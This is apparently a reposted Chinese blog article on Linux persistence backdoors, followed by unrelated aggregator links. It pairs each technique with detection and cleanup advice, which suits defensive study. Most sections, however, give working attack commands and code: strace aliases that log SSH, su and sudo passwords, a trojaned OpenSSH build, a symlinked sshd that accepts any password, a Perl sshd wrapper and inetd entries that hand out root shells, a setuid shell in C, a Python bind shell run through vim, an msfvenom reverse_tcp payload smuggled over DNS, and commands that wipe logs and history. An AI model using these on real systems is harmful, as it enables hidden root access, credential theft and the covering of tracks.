0x01 Linux

1. 预加载型动态链接库后门

inux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。这就是为什么在watchdogs挖矿木马中使用top、ps等命令无法发现挖矿进程的原因,这种后门推荐使用静态编译的ls、ps等命令或者busybox进行查找。

利用LD_PRELOAD

检测
echo $LD_PRELOAD
#默认无输出,如果有输出就需要去看下文件是否为异常文件了
清除
unset LD_PRELOAD
#使用命令unset LD_PRELOAD即可卸载使用LD_PRELOAD环境变量安装的恶意动态链接库

利用/etc/ld.so.preload

检测
1、文件完整性检测
修改了默认的动态链接库后文件完整性发生变化,可以使用rpm等来校验
首先获取系统中的动态链接器的文件路径(interp段指定了动态链接器的位置)
readelf -a /bin/ps | grep interpreter
然后判断该动态链接器文件的完整性
busybox ls -al /usr/local/lib/libioset.so
rpm -Vf /usr/local/lib/libioset.so
2、使用strace
strace可以跟踪一个进程执行时所产生的系统调用,包括参数,返回值,执行消耗的时间和所接收的信号
strace -f -e trace=file /bin/ps
-f 表示同时跟踪fork和vfork出来的进程
-e trace=file 表示只跟踪有关文件操作的系统调用
清除
清除调用的对应恶意文件即可

2. strace后门

上面提到使用strace检测预加载型动态链接库后门,它可以跟踪任何进程的系统调用和数据,所以strace同样可以作为后门,比如用来记录ssh,su,sudo的数据。

首先找到sshd的进程PID

ps -ef | grep sshd #父进程PID

然后写入文件

strace -f -p 2908 -o /tmp/.ssh.log -e trace=read,write -s 2048

同样的,可以通过配置用户目录下.login配置获取ssh明文密码

#vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
#su,sudo同样的道理
检测
查看shell的配置文件或者alias命令即可发现,例如~/.bashrc或~/.zshrc文件查看是否有恶意的alias
清除
清除alias

3. SSH 后门

OpenSSH后门

通过在openssh源码中插入恶意代码并进行重新编译来替换原有sshd文件。插入的恶意代码可以是将登录成功的用户密码发送到远程服务器或者记录到某个log文件中。在openssh目录中找到includes.h文件。

#vim includes.h
int secret_ok;
FILE *f;
#define ILOG "/tmp/.ilog" #记录登录到本机的用户名和密码
#define OLOG "/tmp/.olog" #记录本机登录到远程的用户名和密码
#define SECRETPW "secpulse.com" #为自己的登录密码
#endif /* INCLUDES_H */
#编译,重启服务
yum install -y openssl openssl-devel pam-devel zlib zlib-devel
./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
make clean
make && make install
systemctl restart sshd.service

PS: 如果记录日志放在web下,记得清理掉访问日志。

export HISTFILE=/dev/null
export HISTFILESIZE=0
sed -i '/192.168.2.11/d' /etc/httpd/logs/access_log*
sed -i '/192.168.2.11/d' /root/.bash_history
echo > /root/.bash_history
检测
1、查看Openssh版本
ssh -V
2、查看ssh配置文件和/usr/sbin/sshd的时间
stat /usr/sbin/sshd
#时间和版本都是可以修改的,所以不靠谱
3、查看日志
more /var/log/secure | grep "Accepted" | awk '{print $11}' | uniq
4、通过strace监控sshd进程读写文件的操作
ps axu | grep sshd | grep -v grep #sshd父进程ID
strace -o sshd -ff -p 2908
grep open sshd* | grep -v -e No -e null -e denied| grep WR
5、一般的openssh后门都会将账户密码记录到文件或者发送到邮箱中
strings /usr/sbin/sshd |grep '[1-9]{1,3}.[1-9]{1,3}.'
strings /usr/sbin/sshd |grep '@'
清除
重装或者更新到最新版本
修改文件并重新编译

sshd软链接后门

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名(如: /tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。

1、服务端执行
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12345
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12345
2、客户端执行
ssh root@x.x.x.x -p 12345
#输入任意密码就可以root用户权限登陆了,如果root用户被禁止登陆时,可以利用其他存在的用户身份登陆,比如:ubuntu
检测
1、查看可疑端口
netstat -antlp
2、查看可执行文件
ls -al /tmp/su
清除
1、禁止PAM认证
vim /etc/ssh/sshd_config
UsePAM no
2、重载
/etc/init.d/sshd reload

wrapper后门

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

#服务端执行:
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' > sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
#客户端执行:
socat STDIO TCP4:192.168.2.11:22,souceport=19526
#其中x00x00LF是19526的大端形式,便于传输和处理。如果你想修改源端口,可以用python的struct标准库实现
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
检测
检查网络链接情况及文件
cat /usr/sbin/sshd
清除
rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;

4. SUID后门

当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。必要条件:

1、SUID权限仅对二进制程序有效。
2、执行者对于该程序需要具有x的可执行权限
3、本权限仅在执行该程序的过程中有效
4、在执行过程中执行者将具有该程序拥有者的权限

可以利用webshell进行利用

#vim suid.c
#include<stdlib.h>
main () {
setuid(0);
system("/bin/bash");
}
编译成二进制文件
gcc suid.c -o suidshell
赋予suid权限
chmod 4755 suidshell
chmod u+s suidshell
假设webshell权限较低,希望使用suid shell执行root命令,通过web的方式调用
http://localhost/suid.php?path=/tmp/suidshell&cmd=id
即可以root的权限执行命令id
检测
查找具有suid权限的文件即可
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null
清除
清除文件即可

5. inetd服务后门

inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,其实有很多比较古老的服务都是基于此守护进程的。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。

#修改/etc/inetd.conf
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i
开启inetd:
inetd
#nc连接
nc -vv 192.168.2.11 13
#可以配合suid后门
#比如,修改/etc/services文件:
suidshell 6666/tcp
#然后修改/etc/inetd.conf
suidshell stream tcp nowait root /bin/bash bash -i
#可以修改成一些常见的端口,以实现隐藏

检测

查看配置文件即可
/etc/inetd.conf

清除

关闭服务
删除配置文件

6. 协议后门

在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉。但是对于UDP(DNS、ICMP)相关流量通常不会拦截。

ICMP

主要原理就是利用ICMP中可控的data字段进行数据传输,具体原理请参考: 小白必看!ICMP隐蔽隧道从入门到精通

开源工具:

ICMP后门项目地址https://github.com/andreafabrizi/prism

#服务端
./sendPacket.py 192.168.0.1 p4ssw0rd 192.168.0.10 6666
#客户端
nc -l -p 6666
#其他模式详情请查看具体使用语法

DNS

在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷隐藏在拥有PTR记录和A记录的DNS域中(也可以利用AAAA记录和IPv6地址传输后门),具体请参考:【技术分享】通过DNS传输后门来绕过杀软

开源工具:

DNS后门项目地址https://github.com/DamonMohammadbagher/NativePayload_DNS

#创建msfvenom payload
msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 –f c > /root/dns/payload.txt
#内容格式如下:
1.1.1.0 "0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com"
1.1.1.1 "0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com"
1.1.1.2 "0x8b0x520x200x480x8b0x720x500x480x0f0xb70x4a0x4a0x4d0x310xc9.1.com"
#在系统中伪造DNS服务器
dnsspoof -i eth0 -f /root/dns/payload.txt
#客户端运行代码
syntax: NativePayload_DNS.exe "1.1.1." 34 "192.168.1.50"

协议后门检测

对于DNS/ICMP这种协议后门,直接查看网络连接即可,因为在使用过程中会产生大量的网络连接

清除

kill进程、删除文件即可

7. vim后门

适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。

cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

具体详情请参考:Weapons of Text Destruction

恶意脚本dir.py的内容可以是任何功能的后门,比如:

#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)

检测

由于是通过vim执行的,所以使用ps和netstat仍可以看到vim的相关进程
netstat -antlp | grep vim
more /proc/PID/cmdline
more /proc/PID/maps | grep python

清除

#清除进程即可
netstat -antlp | awk '{print $7}' | grep vim | awk -F/ '{print $1}' | xargs kill -9

8. PAM后门

PAM使用配置 /etc/pam.d/下的文件来管理认证方式,应用程序调用相应的配置文件,以加载动态库的形式调用 /lib/security下的模块。PAM配置可分为四个参数: 模块类型、控制标记、模块路径、模块参数,例如: session required pam_selinux.so open

上面提到的sshd软链接后门利用的PAM机制达到任意密码登录,还有一种方式是键盘记录。原理主要是通过pam_unix_auth.c打补丁的方式潜入到正常的pam模块中,以此来记录管理员的帐号密码。

利用步骤:

复制patch到源代码目录 >>> 打patch >>> 编译 >>> 将生成的pam_uninx.so文件覆盖到/lib/secruity/pam_unix.so下 >>> 修改文件属性 >>> 建立密码保存文件,并设置好相关的权限 >>> 清理日志 >>> ok

#确保ssh开启pam支持
vim /etc/ssh/sshd_config
UsePAM yes
#自动化脚本
https://github.com/litsand/shell/blob/master/pam.sh

检测

1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so #32位
stat /lib64/security/pam_unix.so #64位

清除

yum reinstall pam

9. 进程注入

从技术上说,获取其它的进程并修改它一般是通过操作系统提供的调试接口来实现的,在linux中具有调试功能的工具有ptrace、Gdb、radare2、strace等,这些工具都是使用ptrace这个系统调用来提供服务的。ptrace系统调用允许一个进程去调试另外一个进程。

具体原理参考:

linux进程注入

linux一种无文件后门技巧

GitHub存在大量开源工具,比如: linux-inject,主要原理是使用ptrace向进程中注入恶意so文件

#./inject [-n process-name] [-p pid] [library-to-inject]
./inject -n sample-target sample-library.so

检测

使用相关检测工具

清除

kill或者重启对应的进程即可

10. Rootkit

rootkit分为内核级和应用级两种。(这方面不太了解,后续详细学习下,就不做详细介绍了...)

内核级的rootkit很多,比如:Diamorphine

应用级的rootkit也很多,比如:Mafix

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。应用级rookit,主要替换ls、ps、netstat命令来隐藏文件(利用/proc?)

检测

使用相关检测工具,比如:unhide

参考

http://paper.tuisec.win/detail/447d17afffb299c

https://www.secpulse.com/archives/69093.html

https://www.freebuf.com/column/162604.html

https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/strace.html

http://hu3sky.ooo/2018/09/06/后门/

https://klionsec.github.io/

http://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/

http://www.91ri.org/9026.html

https://pythonpig.github.io/2018/06/26/suid后门(suid-shell)/

https://www.secpulse.com/archives/59674.html

https://xz.aliyun.com/t/4090

https://zhuanlan.zhihu.com/p/41154036

https://www.anquanke.com/post/id/85431

https://kevien.github.io/2018/01/28/linux进程注入/

https://phyb0x.github.io/2018/10/23/linux权限维持-后门/

Tags: 文件, 后门, 检测, 进程,

Linux后门权限维持手法的更多相关文章

  1. linux系统文件权限

    Linux文件权限详解 文件和目录权限概述 在linux中的每一个文件或目录都包含有访问权限,这些访问权限决定了谁能访问和如何访问这些文件和目录.通过设定权限可以从以下三种访问方式限制访问权限:只允许 ...

  2. Linux后门的几种姿势

    转载自 https://evilanne.github.io/2017/08/26/Linux%E5%90%8E%E9%97%A8-%E6%8C%81%E7%BB%AD%E5%85%B3%E6%B3% ...

  3. [转载]Linux后门整理合集(脉搏推荐)

    我在思考要不要联系下....都禁止转载了.... 简介 利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器. 利用方法 先创建 /etc/xxxx 脚本 ...

  4. linux用户权限相关内容查看

    linux用户权限相关内容查看 1   用户信息 创建用户一个名为 webuser 的账号,并填写相应的信息: root@iZ94fabhqhuZ:~# adduser webuser Adding ...

  5. 修改linux文件权限

    Linux系统中的每个文件和目录都有访问许可权限,用它来确定谁可以通过何种方式对文件和目录进行访问和操作. 文件或目录的访问权限分为只读,只写和可执行三种.以文件为例,只读权限表示只允许读其内容,而禁 ...

  6. linux文件目录权限详解(20170101)

    linux目录权限与文件权限是不同的,二者要相互配合,这是基础. 比如要读文件:目录至少要有x,文件至少要有r. 要写文件:目录至少要有x,文件至少要有rw. 要执行文件:目录至少要有x,文件至少要有 ...

  7. Linux:文件权限

    Linux:文件权限 1.文件权限 ☆文件所有者 ☆用户组 ☆其他人 ☆ROOT 说明: Linux系统中默认所有系统上的账号与一般身份用户,还有那个root的相关信息记录在/etc/passwd文件 ...

  8. linux中权限的修改

    修改访问权限的linux名是:Linux访问权限的问题是这样子的:比如 d rwx rwx rwx ,d是文件所在的文件,后面有9位,分别代表不同者的权限.第一个rwx代表这文件的所有者的权限,r是r ...

  9. Linux文件权限;ACL;Setuid、Setgid、Stick bit特殊权限;sudo提权

    相关学习资料 http://blog.sina.com.cn/s/blog_4e2e6d6a0100g47o.html http://blog.csdn.net/aegoose/article/det ...

随机推荐

  1. tomcat插件使用

    1.pom.xml添加插件 <build> <plugins> <!-- tomcat7插件 --> <!-- 注意:目前来说,maven中央仓库还没有tom ...

  2. docker 基础之操作容器

    Docker子命令分类 Docker 环境信息 info .version 容器生命周期管理 Create.exec.kill.pause.restart.rm.run.start.stop.unpa ...

  3. VMware 无法打开内核设备 \\.\Global\vmx86

    无法打开内核设备 \\.\Global\vmx86: 系统找不到指定的文件.你想要在安装 VMware Workstation 前重启吗? vmware 安装完成后,打开现有虚拟系统时,报错. 无法打 ...

  4. Web前端框架与移动应用开发第七章

    1.练习1:焦点图切换 html: <!doctype html><html><head> <meta charset="utf-8" / ...

  5. js/java常用正则表达式及写法

    不定时增加正则表达式. 其中 Js验证写法: var str = "待验证文本"; var regular = new RegExp(/^这里是正则表达式/); if (regul ...

  6. oracle字符串提取记录

    背景:需要限制用户操作次数,而用户操作次数只有统一的日志表有记录. 并且,因为在批量查询中也需做限制,所有需要一次查询多条数据,保证效率.后来采用视图做的 视图 instr 查找字符串,返回起始坐标, ...

  7. 使用yield和send实现简单的协程函数

    使用yield和send实现协程 协程的本质是在一个线程里实现多个任务之间的来回切换,我们使用yield和send可以实现简单的协程 def pro(): print(1) n = yield &qu ...

  8. tomcat下的Cookie特殊符号问题

    案例:在项目中通过Cookie方式临时存放检索条件,不小心在Cookie值中使用了特殊符号"@",导致在服务器端无法正确解析Cookie值.之所以说"不小心", ...

  9. 404.17 - 动态内容通过通配符 MIME 映射映射到静态文件处理程序

    刚刚重装了系统,原有的ASP.NET工程下面的WebService无法运行,如下: 404.17 - 动态内容通过通配符 MIME 映射映射到静态文件处理程序 微软的提示,是做三项更改,但是我改了之后 ...

  10. 网易PM599产品笔试题

    前几天做了网易PM599的云计算领域产培生的笔试题目,下面整理了一下各个方向的笔试题和我对这些题目的解答. 云计算领域: 1.对工业互联网的理解,结合自身优势谈谈自己应该怎么去创业. 工业互联网是一次 ...